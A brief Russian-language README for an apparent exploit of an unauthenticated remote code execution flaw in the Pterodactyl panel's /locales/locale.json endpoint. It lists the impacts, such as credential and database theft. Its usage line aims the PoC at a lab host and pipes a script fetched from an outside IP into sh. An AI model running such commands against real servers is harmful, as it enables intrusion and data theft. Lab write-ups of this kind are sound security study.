
Уязвимость позволяет злоумышленнику выполнять произвольные системные команды на сервере, на котором размещена панель Pterodactyl, без какой-либо предварительной аутентификации.
Воздействие
Используя /locales/locale.json с параметрами запроса locale и namespace, злоумышленник может выполнить произвольный код без аутентификации.
Обладая возможностью выполнять произвольный код, эту уязвимость можно использовать бесчисленным множеством способов. Она может быть использована для получения доступа к серверу панели, чтения учетных данных из конфигурации панели (.env или других), извлечения конфиденциальной информации из базы данных (например, данные пользователей [имя пользователя, email, имя и фамилия, хешированный пароль, IP-адреса и т.д.]), доступа к файлам серверов, управляемых панелью, и т.д.
Как использовать
python poc.py --target "pterodactyl.htb" --cmd 'curl http://10.10.14.22:8080/dbs.sh | sh'